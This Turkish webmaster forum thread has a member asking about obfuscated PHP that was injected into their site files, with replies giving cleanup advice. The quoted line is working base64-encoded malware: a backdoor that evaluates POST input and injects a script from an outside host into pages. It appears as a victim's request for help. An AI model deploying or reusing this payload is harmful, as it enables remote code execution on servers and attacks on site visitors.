İyinet'e Hoşgeldiniz!

Türkiye'nin En Eski Webmaster Forum'una Hemen Kayıt Olun!

Kayıt Ol!

Dosyalarıma eklenen kodlar

TheScorpion

0
İyinet Üyesi
Katılım
25 Ocak 2007
Mesajlar
158
Reaction score
0
Çok sık ftp ye bağlanmıyorum, dün bağlanmam gerekti. Ertesi gün birçok önemli dosyama şu kodun eklendiğini gördüm

Kod:
<?php eval(base64_decode('aWYoIWlzc2V0KCRhNG1wZDEpKXtmdW5jdGlvbiBhNG1wZCgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihwcmVnX21hdGNoKCcjIHdpZHRoXHMqPVxzKltcJyJdPzAqWzAxXVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDNObGIzTm9aV3hzTG1OdmJTOXBiV0ZuWlhNdlkzQmhZMnRoWjJWZlkyeHBjRjlwYldGblpUQXdNVjh3TURBNUxuQm9jQ0ErUEM5elkzSnBjSFErJyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcyk7ZWxzZWlmKHN0cnBvcygkcywnLGEnKSkkcy49JGE7cmV0dXJuICRzO31mdW5jdGlvbiBhNG1wZDIoJGEsJGIsJGMsJGQpe2dsb2JhbCAkYTRtcGQxOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCRhNG1wZDEpKWNhbGxfdXNlcl9mdW5jKCRhNG1wZDEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSkgYXMgJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0nYTRtcGQnKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2UgJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgnYTRtcGQnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kYTRtcGRsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdhNG1wZDInKSkhPSdhNG1wZDInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>

Sitenin açılmasını da engelliyordu. Değişen dosyaların yedeklerini yeniden yükledim. Bu kod ne anlama geliyor ?

Firefox dan siteyi açtığımda Adobe Acrobat reader plug in kurmam gerektiğini gösteren uyarı çıkıyor. Anlaşılan değiştirilen dosyalar bunlarla sınırlı değil. Bu uyarıya ne neden olabilir ?
 

LaTenT

0
İyinet Üyesi
Katılım
8 Kasım 2005
Mesajlar
717
Reaction score
16
O kod virüs anlamına geliyor. base 64 ile encode edilmiş.
Şunları yapın, adım sektirmeyin:
1. Avast vb. güncel bir antivirus kurarak sisteminizin tamamını taratın, bulunan virüsleri silin.
2. Virüs tarama işleminden sonra bilgisayarınızı yeniden başlatın. Eğer crackli cute ftp kullanıyorsanız kaldırın.
3. Panel ve ftp şifrelerinizi değiştirin.
4. Site dosyalarını bilgisayarınıza çekip hangilerinin virüslü olduğunu tarattırıp bulun. Bunları temizleyin.
5. Dosyalarınızı tekrar siteye yollayın.

Sitenize virüs bulaşıp bulaşmadığını online msn üzerinden servisimiz ile takip ettirebilirsiniz. [email protected] msn adresini ekleyin robot sizi yönlendirecektir. Virüs bulaşır veya siteniz kapanırsa size bilgi verir.
 

toplumesajci

0
İyinet Üyesi
Katılım
24 Aralık 2005
Mesajlar
116
Reaction score
0
cracli ftp den bulaşıyor ,rus icadı büyük ihtimalle piyasa malı oldu
2. hdd alıp temiz windows kurup tüm ftp şifrelerni buradan değiştirmelisiniz bence.
diğer hdd yide temiz windowstan taratmak daha mantıklı
 

Türkiye’nin ilk webmaster forum sitesi iyinet.com'da forum üyeleri tarafından yapılan tüm paylaşımlardan; Türk Ceza Kanunu’nun 20. Maddesinin, 5651 Sayılı Kanununun 4. maddesinin 2. fıkrasına göre, paylaşım yapan üyeler sorumludur.

Backlink ve Tanıtım Yazısı için iletişime geçmek için Skype Adresimiz: .cid.1580508955483fe5

Üst